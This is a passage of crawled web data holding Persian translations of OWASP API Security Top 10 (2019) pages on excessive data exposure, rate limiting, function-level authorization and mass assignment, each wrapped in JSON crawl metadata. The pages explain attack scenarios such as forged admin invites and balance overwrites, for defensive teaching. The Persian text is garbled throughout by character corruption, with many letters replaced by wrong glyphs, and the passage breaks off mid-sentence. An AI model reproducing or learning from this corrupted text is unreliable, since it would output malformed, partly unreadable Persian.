Force علیه کاربران ؎اؾ.\n- کلیدهای API نبایستی برای احرازهویت کاربران بڊاع برده شود اما ŘŻŘą ؚو؜ می‌تواند برای [احرازهویت اپلیکیشن/پروژه کلاینت](https://cloud.google.com/endpoints/docs/openapi/when-why-api-key) استفاده گعدد.\n\n## مراجع\n\n### OWASP\n\n- [OWASP Key Management Cheat Sheet](https://www.owasp.org/index.php/Key_Management_Cheat_Sheet)\n- [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Credential Stuffing](https://www.owasp.org/index.php/Credential_stuffing)\n\n### خارجی\n\n- [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)", "znaku_textu": 8157, "slov": 860, "odkazu": 76, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:11", "sha256": "b494e1fdd484f89b4e842d30dc4ac909052f41daca9777e1af7d3aa1c057792c", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Credential_stuffing", "https://github.com/danielmiessler/SecLists", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)", "https://cloud.google.com/endpoints/docs/openapi/when-why-api-key", "https://www.owasp.org/index.php/Key_Management_Cheat_Sheet", "https://cwe.mitre.org/data/definitions/798.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0xa3-excessive-data-exposure/", "titulek": "API3:2019 افشای مفرط داده - OWASP API Security Top 10", "h1": "API3:2019 افشای مفرط داده", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0xa3-excessive-data-exposure/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2019 افشای مفرط داده"}, {"uroven": 2, "text": "آیا API از نظر افشای مفرط داده ‌آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 2, "text": "چگونه از ‌آسیب‌پذیری افشای مفرط داده پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API3:2019 افشای مفرط داده\n\n| عوامل تهدید/مسیر حمله | ؜ؚف امنیتی | پیامد |\n| --- | --- | --- |\n| API ؎اؾ: قابلیت بهره‌برداری**3** | میزان شیوع**2** : قابلیت تشخیص**2** | پیامد فنی**2** : ؎اؾ ڊسب و ڊاع |\n| بهره برداری از این آسیب‌پذیری آسان بوده و غالبا با شنود ترافیک به منظور تحلیل پاسخ‌های API برای یافتن داده حساسی که نباید به ڊاعبع بازگردانده شود امکان پذیر است. | APIها برای فیلتر کردن داده به کلاینت‌ها اتڊا می‌کنند. از آنجا که APIها به عنوان منابع داده استفاده می‌شوند، توسعه دهندگان گاها آنها عا بدون توجه به حساسیت اطلاعاتی که افشا می‌شود بڊاع می‌گیرند. ابزارهای ؎ودڊاع غالبا نمی‌توانند این ‌آسیب‌پذیری عا ڊشف کنند چرا که تمایز دادن بین داده مجازی که توسء API بازگردانده می‌شود با داده حساسی که نباید توسء API بازگردانده شود بدون داشتن فهمی عمیق از اپلیکیشن امکان پذیر نیست. | افشای مفرط و بیش از Ř­ŘŻ داده معمولا منجر به افشای اطلاعات حساس می‌شود. |\n\n## آیا API از نظر افشای مفرط داده ‌آسیب‌پذیر است؟\n\nطراحی API به گونه‌ای است که داده حساس عا به کلاینت باز می‌گرداند. این داده غالبا پیش از ارائه و نمایش به ڊاعبع ŘŻŘą سمت کلاینت فیلتر می‌شود. ŘŻŘą نتیجه مهاجم می‌تواند براحتی و با شنود ترافیک، این داده حساس عا مشاهده نماید.\n\n## مثال‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nتیم توسعه موبایل از `/api/articles/{articleId}/comments/{commentId}` برای مشاهده و ٞعدازش فراداده کامنت‌ها بهره می‌برد. با شنود ترافیک اپلیکیشن موبایل، مهاجم ŘŻŘą می‌یابد که داده مرتبط با نویسنده کامنت نیز بازگردانده می‌شود. این موضوع به این دلیل است که ‌‌پیاده‌سازی API از یک متد عمومی `toJSON()` برای سریالیزه کردن شیء `User` بهره می‌برد که این شی حاوی داده حساس PII می باشد.\n\n### سناریو #2\n\nیک سیستم نظارتی مبتنی بع IoT به مدیران ؎ود اجازه ایجاد کاربرانی با سءوح مجوز مختلف می‌نماید. یکی از مدیران یک حساب کاربری برای یک نیروی حفاظت فیزیکی (نگهبان) جدید می‌سازد که بع مبنای آن تنها امکان دسترسی به ساختمان‌های مشخصی بایستی و؏ود داشته باشد. به محض استفاده نگهبان مذبور از اپلیکیشن موبایل خود، یک فراخوانی API به سوی `/api/sites/111/cameras` روانه می‌شود تا اطلاعات مرتبط با دوربین‌های موجود عا دریافت نموده و آنها عا ŘŻŘą دشبوعد ؎ود نمایش دهد. پاسخ، لیستی از جزئیات دوربین‌ها با فرمت زیر عا ŘŻŘą بعداعد. `{\"id\":\"xxx\",\"live_access_token\":\"xxxx-bbbbb\",\"building_id\":\"yyy\"}`. \nŘŻŘą حالیکه عابء گرافیکی کلاینت فقط دوربین‌هایی که نگهبان مذبور بایستی به آنها دسترسی داشته باشد عا نشان می‌دهد، اما لیست کامل این دوربین‌ها ŘŻŘą ٞاس؎ API و؏ود داعد.\n\n## چگونه از ‌آسیب‌پذیری افشای مفرط داده پیشگیری کنیم؟\n\n- عدم تکیه بع کلاینت ŘŻŘą مساله فیلتر کردن داده حساس.\n- بازبینی ٞاس؎ دریافتی از API به منظور حصول اطمینان از آنکه فقط داده لازم و اصلی ŘŻŘą آن نمایش داده می شود.\n- پیش از افشا و ŘŻŘą معرض دید عموم قراردادن یک API، مهندسین توسعه دهندگان Back-End بایستی از ؎ود بپرسند: مصرف کننده و مخاطب این داده چه کسی است؟\n- اجتناب از استفاده از متدهای عمومی `to_json()` و `to_string()` و ŘŻŘą ؚو؜ دستچین کردن ŘŞÚŠ ŘŞÚŠ ویژگی‌ها و مشخصه‌هایی که برای ٞاس؎ ضروری هستند.\n- طبقه بندی اطلاعات حساس و شخصی ذخیره شده ŘŻŘą APIها و بازبینی تمامی فراخوانی‌های APIهایی که این اطلاعات عا باز می‌گردانند به منظور ڊشف و شناسایی مواردی که ؜ؚف امنیتی ŘŻŘą پی دارند.\n- بکارگیری یک مکانیزم اعتبارسنجی الگومحور برای بررسی اؚتباع پاسخ‌ها بعنوان یک لایه امنیتی دیگر و همچنین تعریف و اعمال این مکانیزم بع روی داده بازگردانده شده تمامی APIها از جمله خطاها.\n\n## مراجع\n\n### خارجی\n\n- [CWE-213: Intentional Information Exposure](https://cwe.mitre.org/data/definitions/213.html)", "znaku_textu": 5476, "slov": 664, "odkazu": 69, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:41:14", "sha256": "e8537ead0b5721c61ee91c4719cdaecb737c00e78c3221e125f21455236ea2ec", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/213.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0xa4-lack-of-resources-and-rate-limiting/", "titulek": "API4:2019 کمبود منابع و نبود محدودیت بع نرخ ارسال - OWASP API Security Top 10", "h1": "API4:2019 کمبود منابع و نبود محدودیت بع نرخ ارسال", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0xa4-lack-of-resources-and-rate-limiting/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2019 کمبود منابع و نبود محدودیت بع نرخ ارسال"}, {"uroven": 2, "text": "آیا API از نظر کمبود منابع و نبود محدودیت بع نرخ ارسال ‌‌آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 2, "text": "چگونه از ‌‌آسیب‌پذیری کمبود منابع و نبود محدودیت بع نرخ ارسال پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API4:2019 کمبود منابع و نبود محدودیت بع نرخ ارسال\n\n| عوامل تهدید/مسیر حمله | ؜ؚف امنیتی | پیامد |\n| --- | --- | --- |\n| API ؎اؾ: قابلیت بهره‌برداری**2** | میزان شیوع**3** : قابلیت تشخیص**3** | پیامد فنی**2** : ؎اؾ ڊسب و ڊاع |\n| بهره برداری از این آسیب‌پذیری نیاز به ارسال درخواست‌های ساده‌ای به سوی API داعد و به احعاز هویت هم نیازی نیست. کافی است تعدادی دع؎واست هم‌زمان از یک ماشین و یا با استفاده از منابع رایانش ابری به سوی API ارسال گعدد تا بتوان از این آسیب‌پذیری بهره بعد. | یافتن APIهایی که محدودسازی نرخ ارسال عا بڊاع نگرفته یا محدودیت‌های اعمال شده آنها ناکافی است، ڊاع دشواری نیست. | بهره برداری از این آسیب‌پذیری می‌تواند منجر به بعوز DoS شده، ŘŻŘą نتیجه API عا از ٞاس؎ به درخواست‌ها باز داعد و یا حتی آن عا از دستعس ؎اع؏ نماید. |\n\n## آیا API از نظر کمبود منابع و نبود محدودیت بع نرخ ارسال ‌‌آسیب‌پذیر است؟\n\nدرخواست‌‌های ارسال شده به سوی API منابعی از قبیل پهنای باند شبکه، پردازنده، حافظه و فضای ذخیره‌سازی عا مصرف می‌کنند. مقدار منابعی که برای پاسخگویی به یک دع؎واست ؾعف می‌شود عمدتا به ورودی‌‌های ڊاعبع و منطق تجاری توابؚ API بستگی داعد. همچنین باید این موضوع عا نیز درنظر داشت که درخواست‌‌های کلاینت‌‌های API مختلف برای دریافت منابع رقابت می‌کنند.\nاگع دست‌کم یکی از محدودیت‌‌های زیر ŘŻŘą سمت API به کلی اعمال نشده یا بءوع نادرست (مثلا بیش از Ř­ŘŻ زیاد یا بیش از Ř­ŘŻ کم) ‌‌‌‌پیاده‌سازی شده باشد آنگاه API از منظر محدودیت یا کمبود نرخ ارسال، ‌‌آسیب‌پذیر خواهد بود:\n\n- اجرای محدودیت زمانی (time out)\n- حداڊ؍ع میزان حافظه قابل تخصیص\n- تؚداد توصیف‌گر فایل‌‌ها\n- تؚداد پردازه‌‌ها\n- اندازه محموله ŘŻŘą درخواست‌‌ها (مثلا ŘŻŘą هنگام آپلود)\n- تؚداد درخواست‌‌ها به ازای کلاینت یا منبع\n- تؚداد رکوردهایی که به ازای یک دع؎واست ŘŻŘą یک صفحه نمایش داده می‌شوند.\n\n## مثال‌‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nمهاجم از طریق ارسال یک دع؎واست POST به `/api/v1/images` اقدام به آپلود یک تصویر بزعگ می‌نماید. بؚد از اتمام آپلود، API از روی تصویر آپلود شده تصاویرانگشتی متعددی با اندازه‌‌های مختلف ایجاد می نماید. به دلیل اندازه تصویر آپلودشده، حافظه‌ی دعدستعس ŘŻŘą خلال فرایند ایجاد تصاویر انگشتی ŘŞŘ­ŘŞ فشاع قرار گرفته و API به وضعیت غیرپاسخگو می‌رسد.\n\n### سناریو #2\n\nاپلیکیشنی لیست کاربران عا ŘŻŘą UI با محدودیت `200` ڊاعبع ŘŻŘą صفحه نمایش می‌دهد. لیست این کاربران از طربق ارسال ٞعس و جوی زیر از سعوع دریافت می‌گردد: `/api/users?page=1&size=200`. ŘŻŘą اینجا مهاجم می‌تواند با تغییر پارامتر `size` به `200 000`، مشکلاتی ŘŻŘą عملکرد پایگاه داده پدید آورده و API عا به وضعیت غیرپاسخگو برساند. ŘŻŘą این حالت API قادر به پاسخگویی به هیچ درخواستی نخواهد بود (همان DoS).\nهمین سناریو عا می‌توان به طریق مشابه برای ایجاد حملات سرریز Integer و سرریز Buffer استفاده نمود.\n\n## چگونه از ‌‌آسیب‌پذیری کمبود منابع و نبود محدودیت بع نرخ ارسال پیشگیری کنیم؟\n\n- محدودسازی [حافظه](https://docs.docker.com/config/containers/resource_constraints/#memory) ، [پردازنده](https://docs.docker.com/config/containers/resource_constraints/#cpu) ، [تؚداد دفؚات راه اندازی مجدد](https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart) ، [توصیف‌گرهای فایل و پردازه‌‌ها](https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit) با استفاده از Docker.\n- اعمال محدودیت بع تؚداد دفعاتی که ŘŻŘą یک زمان مشخص امکان فراخوانی API و؏ود داعد.\n- ٞس از ردشدن کلاینت از آستانه مجاز، این موضوع به همراه زمان عفؚ محدودیت به کلاینت اطلاع داده شود.\n- افزودن اعتبارسنجی سمت سعوع برای بررسی پارامترهای موجود ŘŻŘą بدنه درخواست‌‌ها و رشته‌‌های ٞعس و جو، ؎ؾوؾا مواردی که به نحوی با تؚداد رکوردهای نمایش داده شده ŘŻŘą ٞاس؎ اعتباء دارند.\n- تعریف و اِعمال بیشینه اندازه داده (نظیر بیشینه طول برای رشته‌‌ها یا بیشینه تؚداد عناصر ŘŻŘą آرایه‌‌ها) ŘŻŘą درخواست‌‌ها و محموله‌‌های ورودی.\n\n## مراجع\n\n### OWASP\n\n- [Blocking Brute Force Attacks](https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks)\n- [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors,\n processes, restarts)](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts)\n- [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md)\n\n### خارجی\n\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- “ *Rate Limiting (Throttling)* ” - [Security Strategies for Microservices-based\n Application Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf) , NIST", "znaku_textu": 6887, "slov": 740, "odkazu": 79, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:11", "sha256": "20f2733621ebcb13990c79f61f222059082eb45589a8ce37559e1fb1b1a0ffed", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://docs.docker.com/config/containers/resource_constraints/", "https://docs.docker.com/engine/reference/commandline/run/", "https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/770.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0xa5-broken-function-level-authorizaion/", "titulek": "API5:2019 مجوزدهی نادرست ŘŻŘą سءح توابؚ - OWASP API Security Top 10", "h1": "API5:2019 مجوزدهی نادرست ŘŻŘą سءح توابؚ", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0xa5-broken-function-level-authorizaion/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2019 مجوزدهی نادرست ŘŻŘą سءح توابؚ"}, {"uroven": 2, "text": "آیا API از نظر مجوزدهی نادرست ŘŻŘą سءح توابؚ ‌‌آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌‌‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 2, "text": "چگونه از ‌‌آسیب‌پذیری مجوزدهی نادرست ŘŻŘą سءح توابؚ پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API5:2019 مجوزدهی نادرست ŘŻŘą سءح توابؚ\n\n| عوامل تهدید/مسیر حمله | ؜ؚف امنیتی | پیامد |\n| --- | --- | --- |\n| API ؎اؾ: قابلیت بهره‌برداری**2** | میزان شیوع**2** : قابلیت تشخیص**1** | پیامد فنی**2** : ؎اؾ ڊسب و ڊاع |\n| بهره برداری از این ‌‌آسیب‌پذیری یعنی ارسال فراخوانی‌های API دعست توسء مهاجم به سوی API Endpoint ŘŻŘą اعتباء با فراخوانی‌هایی که مهاجم مجوز آنها عا ندارد. این Endpointها ممکن است ŘŻŘą معرض دید کاربران ناشناس، بدون مجوز یا عادی قرار داشته باشند. برای مهاجم تشخیص و؏ود چنین نواقصی ŘŻŘą API آسان ŘŞŘą است چرا که ساختارمندتر بوده و نحوه دسترسی آنها به توابع، قابل پیش بینی ŘŞŘą است (مثلا تغییر متد HTTP از GET به PUT یا تغییر رشته “users” ŘŻŘą URL به “admins”). | کنترل‌های مجوزدهی برای توابؚ یا منابع غالبا ŘŻŘą سءح پیکربندی یا ÚŠŘŻ مدیریت می شوند. بکارگیری کنترل‌های مناسب می‌تواند گیج کننده باشد چرا که اپلیکیشن‌های مدرن امروزی غالبا دارای انواع مختلفی از نقش‌ها و گروه‌ها و سلسله مراتب کاربری هستند (مثلا کاربران دارای بیش از یک نقش). | چنین مشکلاتی منجر به دسترسی مهاجم به توابؚ غیرمجاز می‌شود. ŘŻŘą این ؾوعت توابؚ مدیریتی از جمله اهداف کلیدی مهاجم خواهند بود. |\n\n## آیا API از نظر مجوزدهی نادرست ŘŻŘą سءح توابؚ ‌‌آسیب‌پذیر است؟\n\nبهترین راه یافتن مشکلات مجوزدهی ŘŻŘą سءح توابع، تحلیل عمیق مکانیزم مجوزدهی با لحاظ کردن سلسله مراتب کاربران، نقش‌‌‌ها و گروهاه‌‌‌های متفاوت موجود ŘŻŘą اپلیکیشن و پرسیدن پرسش‌‌‌های زیر است:\n\n- آیا ڊاعبع عادی می‌تواند به توابؚ و نقاط مدیریتی ŘŻŘą API دسترسی داشته باشد؟\n- آیا کاربری می‌تواند عمل حساسی که مجوز انجام آن عا ندارد (نظیر ایجاد، تغییر یا حذف) عا ؾعفا با تغییر متد HTTP (مثلا از `GET` به `DELETE` ) انجام دهد؟\n- آیا کاربری از گروه X می‌تواند ؾعفا با Ř­ŘŻŘł زدن URLهای توابؚ و پارامترهای آن به مسیری (نظیر `/api/v1/users/export_all` ) که فقط باید برای کاربران گروه Y قابل مشاهده باشد دسترسی یابد؟\n\nبایستی ŘŻŘą نظر داشت که عادی یا مدیریتی بودن یک تابؚ ŘŻŘą API (همان API Endpoint) ؾعفا بع مبنای مسیر URL تعیین نمی‌شود.\n\nŘŻŘą حالیکه توسعه دهندگان بیشتر تمایل دارند که توابؚ مدیریتی عا ذیل یک مسیر نسبی معین مانند `api/admins` قرار دهند، اما بسیار دیده می شود که این توابؚ مدیریتی ŘŻŘą کنار توابؚ عادی ŘŻŘą مسیرهایی نظیر `api/users` قرار داده شده‌اند.\n\n## مثال‌‌‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nŘŻŘą خلال فرایند ؍بت نام ŘŻŘą یک اپلیکیشن که فقط به کاربران دؚوت شده اجازه عضویت می‌دهد، اپلیکیشن موبایل، یک فراخوانی API به `GET /api/invites/{invite_guid}` می‌فرستد. ٞاس؎ دریافتی فایل JSONی عا داعا است که درون آن اطلاعات دعوتنامه‌‌‌ها شامل نقش ڊاعبع و آدعس ایمیل وی دیده می‌شود.\n\nمهاجم دع؎واست مذبور عا ؜بء کرده و متد HTTP عا به `POST /api/invites/new` تغییر می‌دهد. این تابؚ تنها بایستی از طریق کنسول مدیریت و برای ادمین‌‌‌ها قابل دسترسی باشد که بعلت عدم بکارگیری کنترل‌‌‌های صحیح مجوزدهی دعسءح توابؚ اینگونه نیست.\n\nŘŻŘą گام بؚد مهاجم از این مساله بهره برداری کرده و برای ؎ود دعوتنامه‌ای جهت سا؎ت یک اکانت ادمین می‌فرستد:\n\n```\nPOST /api/invites/new\n\n{“email”:”[email protected]”,”role”:”admin”}\n```\n\n### سناریو #2\n\nیک API دارای تابعی است که فقط ادمین‌‌‌ها بایستی آن عا ببینند - `GET /api/admin/v1/users/all`. این تابؚ ŘŻŘą ٞاس؎ جزئیات تمامی کاربران اپلیکیشن عا برگردانده و کنترل‌‌‌های مجوزدهی ŘŻŘą سءح توابؚ عا نیز به درستی ‌‌‌‌پیاده‌سازی نکرده است. مهاجمی که با سا؎تاع API آشنایی پیدا کرده، این مسیر عا Ř­ŘŻŘł زده و اطلاعات حساس تمامی کاربران اپلیکیشن عا می‌رباید.\n\n## چگونه از ‌‌آسیب‌پذیری مجوزدهی نادرست ŘŻŘą سءح توابؚ پیشگیری کنیم؟\n\nماژول مجوزدهی اپلیکیشن بایستی بءوع یکپارچه توسء تمامی توابؚ اپلیکیشن فراخوانی شده و تحلیل آن نیز آسان باشد. همچنین ŘŻŘą بیشتر مواقع، این عوش حفاطتی توسء یک یا چند مولفه بیرونی و ؎اع؏ از ÚŠŘŻ اصلی اپلیکیشن فراهم می‌شود.\n\n- مکانیزم (های) اعمال شده بایستی بءوع پیشفرض کلیه دسترسی‌‌‌ها عا Deny (عد) نموده و برای دسترسی به هر یک از توابع، مجوزخاص دسترسی نقش مربوطه عا طلب نمایند.\n- توابؚ API از منظر عیوب مجوزدهی ŘŻŘą سءح تابؚ با درنظر گرفتن منطق اپلیکیشن و سلسله مراتب گروه‌‌‌های کاربری مورد بازبینی قرار گیرد.\n- تمامی کنترلگرهای مدیریتی از یک کنترلگر مدیریتی انتزاعی که مجوزها عا بع حسب نقش ڊاعبع یا گروه پیاده‌سازی نموده، اع؍ بری داشته باشند.\n- تمامی توابؚ مدیریتی درون یک کنترلگر عادی (غیرمدیریتی)، کنترل‌‌‌های مجوز مبتنی بع نقش ڊاعبع یا گروه عا بکارگیرند.\n\n## مراجع\n\n### OWASP\n\n- [OWASP Article on Forced Browsing](https://www.owasp.org/index.php/Forced_browsing)\n- [OWASP Top 10 2013-A7-Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)\n- [OWASP Development Guide: Chapter on Authorization](https://www.owasp.org/index.php/Category:Access_Control)\n\n### خارجی\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 7246, "slov": 851, "odkazu": 74, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:12", "sha256": "4bfdb807f0eb9fa14e3fb903318b1ad8ea0b68909f9482eebef2d0ec58e2d491", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Forced_browsing", "https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control", "https://www.owasp.org/index.php/Category:Access_Control", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0xa6-mass-assignment/", "titulek": "API6:2019 - تخصیص جمعی - OWASP API Security Top 10", "h1": "API6:2019 - تخصیص جمعی", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0xa6-mass-assignment/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2019 - تخصیص جمعی"}, {"uroven": 2, "text": "آیا API از نظر تخصیص جمعی ‌‌‌آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌‌‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 2, "text": "چگونه از ‌‌‌آسیب‌پذیری تخصیص جمعی پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API6:2019 - تخصیص جمعی\n\n| عوامل تهدید/مسیر حمله | ؜ؚف امنیتی | پیامد |\n| --- | --- | --- |\n| API ؎اؾ: قابلیت بهره‌برداری**2** | میزان شیوع**2** : قابلیت تشخیص**2** | پیامد فنی**2** : ؎اؾ ڊسب و ڊاع |\n| بهره برداری از این آسیب‌پذیری غالبا نیاز به فهم منطق تجاری، عوابء مابین اشیا و سا؎تاع API از سوی مهاجم داعد. بهره برداری از مقوله تخصیص جمعی ŘŻŘą APIها ساده ŘŞŘą است چرا که ŘŻŘą مرحله طراحی، پیاده‌سازی زیرین اپلیکیشن به همراه نام ویژگی‌های اشیا افشا می‌شود و ŘŻŘą معرض دید عموم قرار می‌گیرد. | چارچوبهای جدید غالبا توسعه دهندگان عا به استفاده از توابعی تشویق می‌کنند که بءوع خودکار، ورودی‌های دریافتی از کلاینت عا به متغیرهای ÚŠŘŻ و اشیاء داخلی آن پیوند می‌دهند. مهاجمین با سواستفاده از این متدلوژی می‌توانند به گونه ای اقدام به بروزرسانی یا بازنویسی ویژگی‌های اشیاء (داده) حساس نمایند که توسعه دهنده هیچگاه قصد افشای آن ویژگی‌ها عا نداشته است. | بهره برداری از این ‌‌‌آسیب‌پذیری می‌تواند منجر به افزایش سءح دسترسی، دستکاری داده، ؚبوع از مکانیزم‌های امنیتی و ... شود. |\n\n## آیا API از نظر تخصیص جمعی ‌‌‌آسیب‌پذیر است؟\n\nاشیا ŘŻŘą اپلیکیشن‌‌‌های مدرن می‌توانند ویژگی‌‌‌های متعددی داشته باشند. برخی از این ویژگی‌‌‌ها بایستی مستقیما توسء کلاینت قابل بروزرسانی باشند (مثلا `user.first_name` یا `user.address`) ŘŻŘą حالی که کلاینت نباید بتواند سایر ویژگی‌‌‌ها عا دستکاری نماید (مثلا پرچم `user.is_vip`).\n\nیک تابؚ ŘŻŘąAPI اگع بءوع ؎ودڊاع پارامترهای کلاینت عا بدون لحاظ کردن حساسیت و سءح افشای ویژگی‌‌‌های آن، مستقیما تبدیل به ویژگی‌‌‌های اشیای داخلی نماید، از منظر تخصیص جمعی ‌‌‌آسیب‌پذیر خواهد بود. این ‌‌‌آسیب‌پذیری به مهاجم اجازه می‌دهد تا بتواند ویژگی‌‌‌هایی از اشیا عا که نباید به آنها دسترسی داشته باشد، بروزرسانی نماید.\n\nنمونه‌‌‌هایی از «ویژگی‌‌‌های حساس عبارتند از:\n\n- **ویژگی‌‌‌های مرتبط با مجوزها** : پرچم‌‌‌هایی نظیر `user.is_admin` و `user.is_vip` فقط بایستی توسء ادمین‌‌‌ها تنظیم شوند.\n- **ویژگی‌‌‌های وابسته به فرایند** : `user.cash` فقط باید بؾوعت داخلی و ٞس از تایید ٞعدا؎ت بروزرسانی شود.\n- **ویژگی‌‌‌های داخلی** : `article.created_time` فقط باید بؾوعت داخلی و توسء اپلیکیشن تنظیم گعدد.\n\n## مثال‌‌‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nیک اپلیکیشن هم‌سفری به ڊاعبع امکان ویرایش اطلاعات پایه‌ای پروفایل ؎ود عا می‌دهد. ŘŻŘą خلال این فرایند، یک فراخوانی API به `PUT /api/v1/users/me` با شی مجاز JSON زیر فرستاده می‌شود:\n\n```\n{\"user_name\":\"inons\",\"age\":24}\n```\n\nاما دع؎واست `GET /api/v1/users/me` ویژگی اضافی credit_balance عا نیز ŘŻŘą ؎ود داعد:\n\n```\n{\"user_name\":\"inons\",\"age\":24,\"credit_balance\":10}\n```\n\nŘŻŘą اینجا مهاجم دع؎واست اول عا با محتوای مخرب زیر بازارسال می‌نماید:\n\n```\n{\"user_name\":\"attacker\",\"age\":60,\"credit_balance\":99999}\n```\n\nبه دلیل و؏ود آسیب‌پذیری تخصیص جمعی ŘŻŘą endpoint، مهاجم می‌تواند بدون انجام ٞعدا؎ت اؚتباع دریافت کند.\n\n### سناریو #2\n\nیک پلتفرم اشتراک‌گذاری ویدئو به کاربران ؎ود اجازه دانلود محتوا با فرمت‌‌‌های مختلفی عا می‌دهد. مهاجم که ŘŻŘą حال بررسی API است، ŘŻŘą می‌یابد که `GET /api/v1/videos/{video_id}/meta_data` یک شیء JSON با ویژگی‌‌‌های ویدئو عا باز می‌گرداند. یکی از این ویژگی‌‌‌ها، `\"mp4_conversion_params”:”-v codec h264\"` است که نشان می‌دهد اپلیکیشن 